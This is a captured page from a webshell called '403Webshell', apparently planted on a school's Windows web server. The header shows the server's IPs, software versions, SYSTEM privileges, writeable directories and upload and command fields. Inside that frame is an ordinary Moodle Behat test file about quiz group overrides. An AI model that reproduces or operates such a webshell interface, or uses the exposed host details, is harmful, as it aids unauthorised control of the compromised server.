403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/triamudom/tuprblearn/mod/quiz/tests/behat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/triamudom/tuprblearn/mod/quiz/tests/behat/quiz_group_override.feature
@mod @mod_quiz
Feature: Quiz group override
  In order to grant a group special access to a quiz
  As a teacher
  I need to create an override for thta group.

  Background:
    Given the following "users" exist:
      | username | firstname  | lastname  | email                |
      | teacher1 | Terry 1    | Teacher 1 | [email protected] |
      | student1 | Sam 1      | Student 1 | [email protected] |
      | teacher2 | Terry 2    | Teacher 2 | [email protected] |
      | student2 | Sam 2      | Student 2 | [email protected] |
      | teacher3 | Terry 3    | Teacher 3 | [email protected] |
      | student3 | Sam 3      | Student 3 | [email protected] |
    And the following "courses" exist:
      | fullname | shortname | category |
      | Course 1 | C1        | 0        |
    And the following "course enrolments" exist:
      | user     | course | role           |
      | teacher1 | C1     | editingteacher |
      | student1 | C1     | student        |
      | teacher2 | C1     | editingteacher |
      | student2 | C1     | student        |
      | teacher3 | C1     | editingteacher |
      | student3 | C1     | student        |
    And the following "groups" exist:
      | name    | course | idnumber |
      | Group 1 | C1     | G1       |
      | Group 2 | C1     | G2       |
      | Group 3 | C1     | G3       |
    And the following "group members" exist:
      | user     | group |
      | student1 | G1    |
      | teacher1 | G1    |
      | teacher1 | G3    |
      | student2 | G2    |
      | teacher2 | G2    |
      | teacher2 | G3    |
      | student3 | G3    |
    And the following "activities" exist:
      | activity | name      | intro                 | course | idnumber | groupmode |
      | quiz     | Test quiz | Test quiz description | C1     | quiz1    | 1         |

  Scenario: Override Group 1 as teacher of Group 1
    Given the following "permission overrides" exist:
      | capability                  | permission | role           | contextlevel | reference |
      | moodle/site:accessallgroups | Prevent    | editingteacher | Course       | C1        |
    When I am on the "Test quiz" "mod_quiz > Group overrides" page logged in as "teacher1"
    And I press "Add group override"
    Then the "Override group" select box should contain "Group 1"
    And the "Override group" select box should not contain "Group 2"

  Scenario: Override Group 1 as teacher in no group
    Given the following "permission overrides" exist:
      | capability                  | permission | role           | contextlevel | reference |
      | moodle/site:accessallgroups | Prevent    | editingteacher | Course       | C1        |
    When I am on the "Test quiz" "mod_quiz > Group overrides" page logged in as "teacher3"
    Then I should see "No groups you can access."
    And the "Add group override" "button" should be disabled

  Scenario: A teacher with accessallgroups permission should see all group overrides
    When I am on the "Test quiz" "mod_quiz > Group overrides" page logged in as "admin"
    And I press "Add group override"
    And I set the following fields to these values:
      | Override group | Group 1 |
      | Attempts allowed | 2 |
    And I press "Save and enter another override"
    And I set the following fields to these values:
      | Override group   | Group 2 |
      | Attempts allowed | 2       |
    And I press "Save"
    And I log out
    And I am on the "Test quiz" "mod_quiz > Group overrides" page logged in as "teacher1"
    Then I should see "Group 1" in the ".generaltable" "css_element"
    And I should see "Group 2" in the ".generaltable" "css_element"

  Scenario: A teacher without accessallgroups permission should only see the group overrides within his/her groups, when the activity's group mode is "separate groups"
    Given the following "permission overrides" exist:
      | capability                  | permission | role           | contextlevel | reference |
      | moodle/site:accessallgroups | Prevent    | editingteacher | Course       | C1        |
    When I am on the "Test quiz" "mod_quiz > Group overrides" page logged in as "admin"
    And I press "Add group override"
    And I set the following fields to these values:
      | Override group | Group 1 |
      | Attempts allowed | 2 |
    And I press "Save and enter another override"
    And I set the following fields to these values:
      | Override group | Group 2 |
      | Attempts allowed | 2 |
    And I press "Save"
    And I log out
    When I am on the "Test quiz" "mod_quiz > Group overrides" page logged in as "teacher1"
    Then I should see "Group 1" in the ".generaltable" "css_element"
    And I should not see "Group 2" in the ".generaltable" "css_element"

Youez - 2016 - github.com/yon3zu
LinuXploit